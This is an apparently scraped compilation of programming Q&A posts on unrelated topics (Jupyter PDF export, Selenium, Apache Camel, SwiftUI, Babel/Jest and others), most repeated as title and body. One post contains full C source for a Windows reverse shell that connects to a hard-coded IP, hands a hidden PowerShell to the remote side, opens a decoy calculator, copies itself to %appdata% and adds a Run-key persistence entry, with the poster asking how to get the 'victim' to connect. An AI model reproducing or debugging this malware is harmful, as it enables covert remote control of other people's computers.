The required file tex\latex\pgf\basiclayer\pgf.sty is missing. It is a part of the following package: pgf. The package will be installed from.................

I click install, then it shows: enter image description here:

```<code>[I 14:00:51.966 NotebookApp] Kernel started: 4529aa41-ab04-45c9-ab04-a723aafffe41, name: python3
[IPKernelApp] CRITICAL | x failed: xelatex notebook.tex -quiet

Sorry, but C:\Users\EconUser\anaconda3\Library\miktex\texmfs\install\miktex\bin\xelatex.exe did not succeed.

The log file hopefully contains the information to get MiKTeX going again:

  C:/Users/EconUser/AppData/Local/MiKTeX/2.9/miktex/log/xelatex.log

You may want to visit the MiKTeX project page, if you need help.

[I 14:02:52.109 NotebookApp] Saving file at /(Step By Step) Export PDF with texts, codes, and multiple plots.ipynb
</code>```

I tried web browsing and followed the method in this guide: https://github.com/microsoft/vscode-jupyter/issues/10910, but it did not work either.

I also try to install pandoc and MikTex again in Jupyter Notebook at the beginning of the code

```<code>!pip install --upgrade pip

!pip install pandoc
!pip install MikTex
</code>```

it shows:
Requirement already satisfied: pip in c:\users\econuser\anaconda3\lib\site-packages (22.3.1)
Requirement already satisfied: pandoc in c:\users\econuser\anaconda3\lib\site-packages (2.3)
Requirement already satisfied: ply in c:\users\econuser\anaconda3\lib\site-packages (from pandoc) (3.11)
Requirement already satisfied: plumbum in c:\users\econuser\anaconda3\lib\site-packages (from pandoc) (1.8.0)
Requirement already satisfied: pywin32 in c:\users\econuser\anaconda3\lib\site-packages (from plumbum->pandoc) (227)
ERROR: Could not find a version that satisfies the requirement MikTex (from versions: none)
ERROR: No matching distribution found for MikTex

I have no idea at all. Is Miketex outdated or why?

Body:
I try to run a code using Jupyter Notebook, and then use nbconvert to export the created notebooks to pdf, but it does not work.

For reference my code is like this (But I don't think it is related to my code directly?):

# Import the necessary libraries
import pandas as pd
import matplotlib.pyplot as plt
from nbconvert import PDFExporter
from nbformat import v4 as nbf

# Read the Excel file using Pandas
excel_file = pd.ExcelFile('survey_responses.xlsx')

# Use a loop to iterate over the sheets and generate pie charts and PDF files for each one
for sheet_name in excel_file.sheet_names:
    # Read the sheet using Pandas
    df = excel_file.parse(sheet_name)

    # Create a new Jupyter notebook for the current sheet
    notebook = nbf.new_notebook()

    # Add a text cell to the Jupyter notebook
    text = 'The following pie charts show the results of the survey for Class {}.'.format(sheet_name)
    notebook['cells'].append(nbf.new_markdown_cell(text))

    # Use the subplots function to create a figure with multiple subplots
    fig, ax = plt.subplots(nrows=len(df.columns), ncols=1, figsize=(8, 6))

    # Use a loop to iterate over the columns and generate a pie chart for each one
    for i, question in enumerate(df.columns[1:], start=1):
        responses = df[question].value_counts()

    # Add a code cell to the Jupyter notebook
        code = 'ax[{}].pie(responses, labels=responses.index)\nax[{}].set_title("{}")'.format(i, i, question)
        notebook['cells'].append(nbf.new_code_cell(code))

    # Use nbconvert to convert the Jupyter notebook to a PDF file
    exporter = PDFExporter()
    pdf, _ = exporter.from_notebook_node(notebook)
    with open('{}.pdf'.format(sheet_name), 'wb') as f:
        f.write(pdf)

Jupyter Note send me a pop-up window with title "Package Installation" and content enter image description here:

The required file tex\latex\pgf\basiclayer\pgf.sty is missing. It is a part of the following package: pgf. The package will be installed from.................

I click install, then it shows: enter image description here:

[I 14:00:51.966 NotebookApp] Kernel started: 4529aa41-ab04-45c9-ab04-a723aafffe41, name: python3
[IPKernelApp] CRITICAL | x failed: xelatex notebook.tex -quiet

Sorry, but C:\Users\EconUser\anaconda3\Library\miktex\texmfs\install\miktex\bin\xelatex.exe did not succeed.

The log file hopefully contains the information to get MiKTeX going again:

  C:/Users/EconUser/AppData/Local/MiKTeX/2.9/miktex/log/xelatex.log

You may want to visit the MiKTeX project page, if you need help.

[I 14:02:52.109 NotebookApp] Saving file at /(Step By Step) Export PDF with texts, codes, and multiple plots.ipynb

I tried web browsing and followed the method in this guide: https://github.com/microsoft/vscode-jupyter/issues/10910, but it did not work either.

I also try to install pandoc and MikTex again in Jupyter Notebook at the beginning of the code

!pip install --upgrade pip

!pip install pandoc
!pip install MikTex

it shows:
Requirement already satisfied: pip in c:\users\econuser\anaconda3\lib\site-packages (22.3.1)
Requirement already satisfied: pandoc in c:\users\econuser\anaconda3\lib\site-packages (2.3)
Requirement already satisfied: ply in c:\users\econuser\anaconda3\lib\site-packages (from pandoc) (3.11)
Requirement already satisfied: plumbum in c:\users\econuser\anaconda3\lib\site-packages (from pandoc) (1.8.0)
Requirement already satisfied: pywin32 in c:\users\econuser\anaconda3\lib\site-packages (from plumbum->pandoc) (227)
ERROR: Could not find a version that satisfies the requirement MikTex (from versions: none)
ERROR: No matching distribution found for MikTex

I have no idea at all. Is Miketex outdated or why?


问:
I try to Automate test case in Java- selenium but some Internal error may rise how to solve this problem?

try to Automate test case but I had this type of error*

Error: Unable to initialize main class Basics.t1
Caused by: java.lang.NoClassDefFoundError: org/openqa/selenium/WebDriver


问:
Files are moved to Completed folder even though the processor throws an exception
I have a weird issue in the below code. Grabbed file from file path and send it to downstream system using the below code. But the issue is when Actual processor class throws an exception , the file is getting moved from inprogress folder and then completed folder. But it should not happen like this. What I want is that file should be remain in same file location (InProgress), until the processor process the file successfully. What am i doing wrong here?
'''</p>
```<code>from("file:src/path?preMove=InProcess&move=Completed&delete=false&idempotent=false&idempotentKey=${file:name}-${file:size}&readLock=rename&readLockMinAge=10s&renameUsingCopy=true&filterFile=$simple{file:size} > 0 &include=.*.xml")
                .convertBodyTo(String.class)
                .routeId("test-route")
                .doTry().bean(ActualProcessor.class, "process")
                .doCatch(Throwable.class)
                .to("file:src/path?move=Reprocess")
                .end();
'''
</code>```

Body:
I have a weird issue in the below code. Grabbed file from file path and send it to downstream system using the below code. But the issue is when Actual processor class throws an exception , the file is getting moved from inprogress folder and then completed folder. But it should not happen like this. What I want is that file should be remain in same file location (InProgress), until the processor process the file successfully. What am i doing wrong here?
'''

from("file:src/path?preMove=InProcess&move=Completed&delete=false&idempotent=false&idempotentKey=${file:name}-${file:size}&readLock=rename&readLockMinAge=10s&renameUsingCopy=true&filterFile=$simple{file:size} > 0 &include=.*.xml")
                .convertBodyTo(String.class)
                .routeId("test-route")
                .doTry().bean(ActualProcessor.class, "process")
                .doCatch(Throwable.class)
                .to("file:src/path?move=Reprocess")
                .end();
'''


问:
Spring boot 2.7.3 and custom CharsetProvider
I'm trying to register a custom CharsetProvider.
As suggested in the https://stackoverflow.com/questions/39641604/spring-boot-1-4-x-and-custom-charsetprovider post we upgraded our application to use maven shade plugin for packaging which was automatically registering our custom charset provider and things were working fine till our application app was in Spring boot 2.7.3 and java 11. Once we tried upgrading our application to Java 17, again our custom charset provider was not loaded.
Any help would be highly appreciated.
Thanks in advance!

Upgraded java version to 17 and expected shade plugin to work the same way it was working with java 11.


问:
React Amplify Appsync One-To-Many Update Mutation
I'm currently working on a react project that uses a one to many relationship for a schema model.

My schema is defined as below for the children field, I want it to be a recursive model that is the same as Response.

```<code>type Response @model @auth(rules: [{ allow: owner }]) {
  id: ID!
  problem: String!
  model: String!
  basic: String
  groupify: String
  cognify: String
  technify: AWSJSON
  temperature: Float!
  response: String!
  bookmarked: Boolean!
  preference: String!
  children: [Response] @hasMany(fields: ["id"])
}
</code>```

I want to update a response with the children and create a new response without any children initially but I'm not entirely sure how to do that.

I'm following documentation via this https://docs.amplify.aws/lib/graphqlapi/mutate-data/q/platform/js/ but I can't find an example for my purpose.

Body:
I'm currently working on a react project that uses a one to many relationship for a schema model.

My schema is defined as below for the children field, I want it to be a recursive model that is the same as Response.

type Response @model @auth(rules: [{ allow: owner }]) {
  id: ID!
  problem: String!
  model: String!
  basic: String
  groupify: String
  cognify: String
  technify: AWSJSON
  temperature: Float!
  response: String!
  bookmarked: Boolean!
  preference: String!
  children: [Response] @hasMany(fields: ["id"])
}

I want to update a response with the children and create a new response without any children initially but I'm not entirely sure how to do that.

I'm following documentation via this https://docs.amplify.aws/lib/graphqlapi/mutate-data/q/platform/js/ but I can't find an example for my purpose.


问:
Is it possible to crossreference / link to a numbered list item, in ReStructuredText?

The ReST autonumbering problem

In .rst files, item lists can be created with a syntax that allows for autonumbering.

Handy, but it's exactly that convenience that makes referring to other items in the list a fraught undertaking. If a list item is referenced by number, it's all too easy for someone to later update the list, causing a renumbering, and neglect to update the item-reference. (Assuming it's even close enough to be noticed.) For example:

Item Franchise
==============

#. *Item*

#. Prequel: *Birth of Item*

#. *Son of Item*

#. *Item III: The Enumerating*

#. *Item Jr.*\ , a Remake of *Son of Item* (see item 2, above)
```

Obviously, the last entry should be referencing "item 3, above", but the author forgot about Birth of Item (or it was subsequently added to the list).

How do I know that's a concern? Well, besides the fact that it's obvious (for many of the same reasons that manual page-number references are a headache), I just opened a PR against the Python documentation, correcting exactly such an error that's gone unnoticed for the past three years.

Is there a better way?

I'll be very surprised if the answer to this is "yes", but is there any way to define item references in ReST so that it'll maintain them automatically, changing the referenced target-item number whenever the list ordering changes? Or perhaps someone's come up with a Sphinx extension along those lines?

If not, I'd certainly be interested in any clever suggestions for better ways to refer both to and between items in an ordered list. (Assume a situation more like the Python doc error, not my example where the "titles" are incredibly obvious crossref opportunities.)

Body:
The ReST autonumbering problem

In .rst files, item lists can be created with a syntax that allows for autonumbering.

Handy, but it's exactly that convenience that makes referring to other items in the list a fraught undertaking. If a list item is referenced by number, it's all too easy for someone to later update the list, causing a renumbering, and neglect to update the item-reference. (Assuming it's even close enough to be noticed.) For example:

Item Franchise
==============

#. *Item*

#. Prequel: *Birth of Item*

#. *Son of Item*

#. *Item III: The Enumerating*

#. *Item Jr.*\ , a Remake of *Son of Item* (see item 2, above)

Obviously, the last entry should be referencing "item 3, above", but the author forgot about Birth of Item (or it was subsequently added to the list).

How do I know that's a concern? Well, besides the fact that it's obvious (for many of the same reasons that manual page-number references are a headache), I just opened a PR against the Python documentation, correcting exactly such an error that's gone unnoticed for the past three years.

Is there a better way?

I'll be very surprised if the answer to this is "yes", but is there any way to define item references in ReST so that it'll maintain them automatically, changing the referenced target-item number whenever the list ordering changes? Or perhaps someone's come up with a Sphinx extension along those lines?

If not, I'd certainly be interested in any clever suggestions for better ways to refer both to and between items in an ordered list. (Assume a situation more like the Python doc error, not my example where the "titles" are incredibly obvious crossref opportunities.)


问:
Why reduceByKey transformation is shown first in the DAG?
I have executed below wordcount program in pyspark shell

```<code>got_rdd = sc.textFile('C:\\Spark\\pyspark\\book1.txt')
got_rdd = got_rdd.flatMap(lambda x : x.split(" "))
got_rdd = got_rdd.filter(lambda x : x!="")
got_rdd = got_rdd.map(lambda x : (x,1))
got_rdd = got_rdd.reduceByKey(lambda a,b : a + b)
got_rdd.saveAsTextFile('C:\\Spark\\pyspark\\book1_op')
</code>```

This is the DAG shown for me in spark UI

Why reduceByKey transformation is shown first in the DAG followed by map?
Because in the code I have applied map first followed by reduceByKey.

Body:
I have executed below wordcount program in pyspark shell

got_rdd = sc.textFile('C:\\Spark\\pyspark\\book1.txt')
got_rdd = got_rdd.flatMap(lambda x : x.split(" "))
got_rdd = got_rdd.filter(lambda x : x!="")
got_rdd = got_rdd.map(lambda x : (x,1))
got_rdd = got_rdd.reduceByKey(lambda a,b : a + b)
got_rdd.saveAsTextFile('C:\\Spark\\pyspark\\book1_op')

This is the DAG shown for me in spark UI

Why reduceByKey transformation is shown first in the DAG followed by map?
Because in the code I have applied map first followed by reduceByKey.


问:
Cluster already exists aws
When I try to create a cluster, I get a message that Stack [eksctl-eksdemo2-cluster] already exists but when I try to delete it I get a message is not authorized to perform: eks:DescribeCluster on resource: arn:aws:eks:eu-west-2:327352963247:cluster/eksdemo1 and I can't seem to manually delete it as I do not find it in the aws console. When I try to create one with a new name I see the error user is not authorized to perform: eks:TagResource on resource: arn:aws:eks:eu-west-2:327352963247:cluster/eksdemo3. What roles do I need to create a cluster as it seems that at each stage I need to attach a new policy

Title: Cluster already exists aws


问:
NavigationLink In NavigationStack is disabled
I wrote test code for NavigationStack. The behavior of the code is a two-step transition(ContentView -> SubsubTestView -> DetailView).

But I got an error when I have selected a name in SubsubTestView.

A NavigationLink is presenting a value of type “User” but there is no matching navigationDestination declaration visible from the location of the link. The link cannot be activated.

Is there anything wrong with the wrong part of the code?

ContentView.swift

import SwiftUI

class EnvObj: ObservableObject {
    @Published var users = [User(name: "a"), User(name: "b"), User(name: "c")]
}

struct User: Hashable, Identifiable, Equatable {
    var id = UUID()
    var name = ""

    static func == (lhs: User, rhs: User) -> Bool{
        return lhs.id == rhs.id
    }
}

struct ContentView: View {
    @EnvironmentObject var envObj: EnvObj
    @State var moveToSubsub = false

    var body: some View {
        NavigationStack {
            Button("To subsub") {
                moveToSubsub = true
            }
            .navigationDestination(isPresented: $moveToSubsub) {
                SubsubTestView(vm: VM(envObj: envObj))
            }
        }
    }
}

struct SubsubTestView: View {
    @EnvironmentObject var envObj: EnvObj
    @StateObject var vm: VM

    var body: some View {
        VStack {
            List(self.vm.envObj.users) { user in
                NavigationLink(value: user) {
                    Text(user.name)
                }
            }
            .navigationDestination(for: User.self) { user in
                DetailView(vm: VMD(envObj: envObj, selectedUser: user))
            }
        }
    }
}

class VM: ObservableObject {
    var envObj: EnvObj = .init()

    init(envObj: EnvObj) {
        self.envObj = envObj
    }
}

struct DetailView: View {
    @StateObject var vm: VMD

    var body: some View {
        VStack {
            TextField("Name: ", text: (self.$vm.selectedUser ?? User()).name)
            Text(self.vm.selectedUser?.name ?? User().name)
            Button("submit", action: self.vm.submit)
        }
    }
}

class VMD: ObservableObject {
    var envObj: EnvObj = .init()
    @Published var selectedUser: User?

    init(envObj: EnvObj, selectedUser: User? = nil) {
        self.envObj = envObj
        self.selectedUser = selectedUser
    }

    private(set) lazy var submit = {
        if let user = self.selectedUser {
            self.update(user: user)
        }
    }

    func update(user: User) {
        self.envObj.users = self.envObj.users.map {
            return $0 == user ? user : $0
        }
    }
}

func ??<T>(binding: Binding<T?>, fallback: T) -> Binding<T> {
    return Binding(get: {
        binding.wrappedValue ?? fallback
    }, set: {
        binding.wrappedValue = $0
    })
}
```


问:
How do I compile a QT project to Linux using VS2022?
I created the QT desktop application with VS2022. But I want to test the program inside Linux, how should I do it?

I installed QT in Ubuntu on WSL2, and compiled the qt project using qtcreator without problems. But after I connect to Ubuntu using SSH with VS2022, I am unable to compile.

Thanks for all the help!


问:
Issue connecting to a C reverse shell
i'm trying to make a simple reverse shell in c, but the issue arrives when i have to connect the victim to my computer. I set up my listener but it never connects, it only open a blank cmd at the victim pc. the code is this

```<code>

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdlib.h>

#pragma comment(lib, "Ws2_32.lib")
#define DEF_BUFF 2048

void runShell(char* server, int Port)
{
    while(1)
  {

     WSADATA wsaData;
     SOCKET Winsock;
     struct sockaddr_in address;
     char Rec_dat[DEF_BUFF];
     STARTUPINFO process_startup;
     PROCESS_INFORMATION p_info;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    address.sin_family = AF_INET;
    address.sin_port = htons(Port);
    address.sin_addr.s_addr =inet_addr(server);

    WSAConnect(Winsock,(SOCKADDR*)&address, sizeof(address),NULL,NULL,NULL,NULL);
    if (WSAGetLastError() == 0)
        {

        memset(&process_startup, 0, sizeof(process_startup));
                char proc[] = "powershell.exe -WindowStyle Hidden";
        process_startup.cb=sizeof(process_startup);
        process_startup.dwFlags=STARTF_USESTDHANDLES;
        process_startup.hStdInput = process_startup.hStdOutput = process_startup.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, proc, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup, &p_info);
               WaitForSingleObject(p_info.hProcess, INFINITE);
               CloseHandle(p_info.hProcess);
               CloseHandle(p_info.hThread);
               memset(Rec_dat, 0, sizeof(Rec_dat));
               int Rec_code = recv(Winsock, Rec_dat, DEF_BUFF, 0);
               if (Rec_code <= 0)
               {
                 closesocket(Winsock);
                 WSACleanup();
                 continue;
               } // end if
               if (strcmp(Rec_dat, "exit\n") == 0)
               {
                   exit(0);
                } // end if
      } // end while
   } // end function runShell
}

int main()
 {
        char ip[] = "192.168.61.209";
        int p = 8080;
        system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy
        system("cmd /c copy .\\reverse.exe %appdata%");  // copy malware to appdata
        system("cmd /c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Secure\" /t REG_SZ /F /D \"%appdata%\\reverse.exe")
        runShell(ip, p);   // call the runShell
        return 0;
 } // end main

</code>```

on my pc, i set up the listener with netcat, but i'm unable to connect the two computers.

Title: Issue connecting to a C reverse shell

Body:
i'm trying to make a simple reverse shell in c, but the issue arrives when i have to connect the victim to my computer. I set up my listener but it never connects, it only open a blank cmd at the victim pc. the code is this

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdlib.h>

#pragma comment(lib, "Ws2_32.lib")
#define DEF_BUFF 2048

void runShell(char* server, int Port)
{
    while(1)
  {

     WSADATA wsaData;
     SOCKET Winsock;
     struct sockaddr_in address;
     char Rec_dat[DEF_BUFF];
     STARTUPINFO process_startup;
     PROCESS_INFORMATION p_info;

    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    address.sin_family = AF_INET;
    address.sin_port = htons(Port);
    address.sin_addr.s_addr =inet_addr(server);

    WSAConnect(Winsock,(SOCKADDR*)&address, sizeof(address),NULL,NULL,NULL,NULL);
    if (WSAGetLastError() == 0)
        {

        memset(&process_startup, 0, sizeof(process_startup));
                char proc[] = "powershell.exe -WindowStyle Hidden";
        process_startup.cb=sizeof(process_startup);
        process_startup.dwFlags=STARTF_USESTDHANDLES;
        process_startup.hStdInput = process_startup.hStdOutput = process_startup.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, proc, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup, &p_info);
               WaitForSingleObject(p_info.hProcess, INFINITE);
               CloseHandle(p_info.hProcess);
               CloseHandle(p_info.hThread);
               memset(Rec_dat, 0, sizeof(Rec_dat));
               int Rec_code = recv(Winsock, Rec_dat, DEF_BUFF, 0);
               if (Rec_code <= 0)
               {
                 closesocket(Winsock);
                 WSACleanup();
                 continue;
               } // end if
               if (strcmp(Rec_dat, "exit\n") == 0)
               {
                   exit(0);
                } // end if
      } // end while
   } // end function runShell
}

int main()
 {
        char ip[] = "192.168.61.209";
        int p = 8080;
        system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy
        system("cmd /c copy .\\reverse.exe %appdata%");  // copy malware to appdata
        system("cmd /c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Secure\" /t REG_SZ /F /D \"%appdata%\\reverse.exe")
        runShell(ip, p);   // call the runShell
        return 0;
 } // end main

on my pc, i set up the listener with netcat, but i'm unable to connect the two computers.


问:
Rasterising an NSView to NSImage in Swift
I'm trying to convert an NSView to a NSImage. The most popular solution suggested here is using bitmapImageRepForCachingDisplay which works fine most of the time. But in my particular case it fails to capture part of the view.

Here is the result I'm getting.

Input NSView:

Output Image:

As you can the code snippet highlighting is ignored in the output image. I'm using CodeEditor as the editor here. Is there an alternative way to capture the view?

```<code>import SwiftUI
import CodeEditor // from https://github.com/ZeeZide/CodeEditor

extension NSView {
    func bitmapImage() -> NSImage? {
        guard let rep = bitmapImageRepForCachingDisplay(in: bounds) else {
            return nil
        }
        cacheDisplay(in: bounds, to: rep)
        guard let cgImage = rep.cgImage else {
            return nil
        }
        return NSImage(cgImage: cgImage, size: bounds.size)
    }
}

extension View {
    func renderAsImage() -> NSImage? {
         let view = NSHostingView(rootView: self)
         view.setFrameSize(view.fittingSize)
         return view.bitmapImage()
    }
}

struct CustomCodeEditor: View {
    @State var source = """
    struct ContentView: View {
        var body: some View {
            Text("Hello SwiftUI!")
                .padding()
        }
    }
    """
    var codeEditorView : some View {
        return CodeEditor(source: $source, language: .swift, theme: .default).frame(width: 500, height: 500)
    }

    var body: some View{
        Image(nsImage: codeEditorView.renderAsImage()!)
    }
}

</code>```

Body:
I'm trying to convert an NSView to a NSImage. The most popular solution suggested here is using bitmapImageRepForCachingDisplay which works fine most of the time. But in my particular case it fails to capture part of the view.

Here is the result I'm getting.

Input NSView:

Output Image:

As you can the code snippet highlighting is ignored in the output image. I'm using CodeEditor as the editor here. Is there an alternative way to capture the view?

import SwiftUI
import CodeEditor // from https://github.com/ZeeZide/CodeEditor

extension NSView {
    func bitmapImage() -> NSImage? {
        guard let rep = bitmapImageRepForCachingDisplay(in: bounds) else {
            return nil
        }
        cacheDisplay(in: bounds, to: rep)
        guard let cgImage = rep.cgImage else {
            return nil
        }
        return NSImage(cgImage: cgImage, size: bounds.size)
    }
}

extension View {
    func renderAsImage() -> NSImage? {
         let view = NSHostingView(rootView: self)
         view.setFrameSize(view.fittingSize)
         return view.bitmapImage()
    }
}

struct CustomCodeEditor: View {
    @State var source = """
    struct ContentView: View {
        var body: some View {
            Text("Hello SwiftUI!")
                .padding()
        }
    }
    """
    var codeEditorView : some View {
        return CodeEditor(source: $source, language: .swift, theme: .default).frame(width: 500, height: 500)
    }

    var body: some View{
        Image(nsImage: codeEditorView.renderAsImage()!)
    }
}


问:
My material app icon not showing after I used native splash in pubspec and the whole layout is different
I ran native splash command twice and then my whole app became different
I used flutter clean, flutter pub get, even got my backup pubspec file, removed the splash with remove command, I even created a new project and put my backup project files in there and it's still the same!!!!

[[[[[enter image description here](https://i.stack.imgur.com/jYW23.jpg)](https://i.stack.imgur.com/Rgz9l.jpg)](https://i.stack.imgur.com/z7owT.jpg)](https://i.stack.imgur.com/K0gIz.jpg)](https://i.stack.imgur.com/ao9uZ.jpg)

I ran native splash command twice and then my whole app became different
I used flutter clean, flutter pub get, even got my backup pubspec file, removed the splash with remove command, I even created a new project and put my backup project files in there and it's still the same!!!!


问:
Property name expected type of string but got undefined
My .babelrc.json file:

```<code>{
  "presets": [
    ["@babel/preset-env", { "targets": { "node": "current" } }],
    "@babel/preset-typescript"
  ],
  "plugins": [
    ["@babel/plugin-proposal-decorators", {"legacy": true}],
    ["@babel/plugin-syntax-decorators", {"legacy": true}],
    ["@babel/plugin-proposal-class-properties", { "loose" : true }],
    "babel-plugin-parameter-decorator"
  ],
  "env": {
    "test": {
      "plugins": [
        ["@babel/plugin-proposal-decorators", {"legacy": true}],
        ["@babel/plugin-syntax-decorators", {"legacy": true}],
        ["@babel/plugin-proposal-class-properties", { "loose" : true }],
        "babel-plugin-parameter-decorator"
      ],
      "presets": [
        ["@babel/preset-env", { "targets": { "node": "current" } }],
        "@babel/preset-typescript"
      ]
    }
  }
}
</code>```

My jest.config.js file:

```<code>module.exports = {
  projects: [
    {
      displayName: 'node',
      rootDir: __dirname,
      testEnvironment: 'node',
      testPathIgnorePatterns: ['/node_modules/', '.browser.js', 'dist'],
      transform: {
        '^.+\\.[t|j]sx?$': './babel-jest-transformer.js',
      },
      transformIgnorePatterns: ['node_modules/yaml$'],
      globals: {
        __NODE__: true,
        __BROWSER__: false,
        __DEV__: true,
      },
    },
    {
      displayName: 'browser',
      rootDir: __dirname,
      testEnvironment: 'jsdom',
      testPathIgnorePatterns: ['/node_modules/', '.node.js', 'dist'],
      transform: {
        '^.+\\.[t|j]sx?$': './babel-jest-transformer.js',
      },
      transformIgnorePatterns: ['node_modules/yaml$'],
      globals: {
        __NODE__: false,
        __BROWSER__: true,
        __DEV__: true,
      },
    },
  ],
  coverageReporters: ['cobertura', 'html'],
};
</code>```

My devDependencies:

```<code>    "@babel/plugin-syntax-decorators": "7.19.0",
    "@babel/plugin-proposal-decorators": "7.20.5",
    "@babel/preset-env": "^7.16.11",
    "@babel/plugin-proposal-class-properties": "^7.16.7",
    "@babel/preset-typescript": "7.18.6",
    "babel-plugin-parameter-decorator": "1.0.16",
</code>```

When I run jz test, I got the following:

```<code>  ● Test suite failed to run

    TypeError: /Users/proj/src/libts/antlr4ts/atn/SemanticContext.ts: Property name expected type of string but got undefined

      at validate (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/definitions/utils.ts:182:13)
      at Object.fn [as validate] (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/definitions/utils.ts:252:7)
      at validate (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/validators/validate.ts:32:9)
      at validateField (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/validators/validate.ts:19:3)
      at validateNode (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/builders/validateNode.ts:9:13)
      at Object.identifier (../../../../../../.yarn/cache/@babel-types-npm-7.20.5-6bde64109f-773f0a1ad9.zip/node_modules/@babel/types/src/builders/generated/index.ts:244:22)
      at ../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:23:82
      at ../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:222:85
          at Array.forEach (<anonymous>)
      at ../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:204:30
          at Array.forEach (<anonymous>)
      at PluginPass.Function (../../../../../../.yarn/cache/babel-plugin-parameter-decorator-npm-1.0.16-d82c52e96f-5a0d8ce40b.zip/node_modules/babel-plugin-parameter-decorator/lib/index.js:201:44)
      at call (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/visitors.ts:250:21)
      at NodePath.call [as _call] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:34:20)
      at NodePath._call [as call] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:19:17)
      at NodePath.call [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:92:31)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitMultiple] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:98:17)
      at TraversalContext.visitMultiple [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:174:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
      at TraversalContext.visitSingle [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:176:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitSingle] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:108:19)
      at TraversalContext.visitSingle [as visit] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:176:19)
      at visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/traverse-node.ts:34:17)
      at NodePath.visit (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/path/context.ts:99:33)
      at TraversalContext.visit [as visitQueue] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:144:16)
      at TraversalContext.visitQueue [as visitMultiple] (../../../../../../.yarn/cache/@babel-traverse-npm-7.20.5-2965e66783-c7fed46861.zip/node_modules/@babel/traverse/src/context.ts:98:17)
